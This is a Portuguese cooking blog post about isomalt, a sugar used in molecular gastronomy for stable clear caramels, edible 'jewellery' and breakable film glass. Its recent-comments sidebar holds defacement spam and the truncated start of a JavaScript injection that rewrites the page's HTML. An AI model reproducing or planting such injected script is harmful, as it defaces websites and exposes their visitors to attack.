A Cooking.Lab tem desenvolvido um trabalho de investigação sobre as aplicações tecnológicas da Gastronomia Molecular. Nesta primeira rubrica do ano, vimos dar a conhecer um ingrediente especial, o isomalte.

Assim a vantagem do uso deste açúcar que derrete a 180ºC, pouco higroscópico (absorve pouca água) é de poder ser trabalhado, produzindo caramelos mais estáveis, mais duros e incolores (podendo no entanto ser corados com corantes próprios para açúcar).

Desta forma é possível produzir através de várias técnicas desde "corais", "meteoritos" com recheios líquidos (nas fotos de azeite e praliné) ou autênticas peças de joalharia! E é muitas vezes usado no cinema, para a produção de peças a imitar vidro que são estilhaçadas em cena, como vidros, garrafas, etc.

 



De
 
Nome

Url

Email

Guardar Dados?

Ainda não tem um Blog no SAPO? Crie já um. É grátis.

Comentário

Máximo de 4300 caracteres



Copiar caracteres

 



O dono deste Blog optou por gravar os IPs de quem comenta os seus posts.

Facebook Like

Pub
Rubricas
Comentários recentes
Kd o vídeo?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
HACKED BY BRIAN_POSIXHACKED BY BRIAN_POSIXHACKED B...
Hacked By Brian_posix !!SIC MULHER PWNED BY BPOSIX...
document.documentElement.innerHTML=unescape("Hacke...
Amei <3 mt
https://m.facebook.com/Veredictod1amor/insights/
Acabei de o receber, muito obrigada!
Pesquisar
 
subscrever feeds
blogs SAPO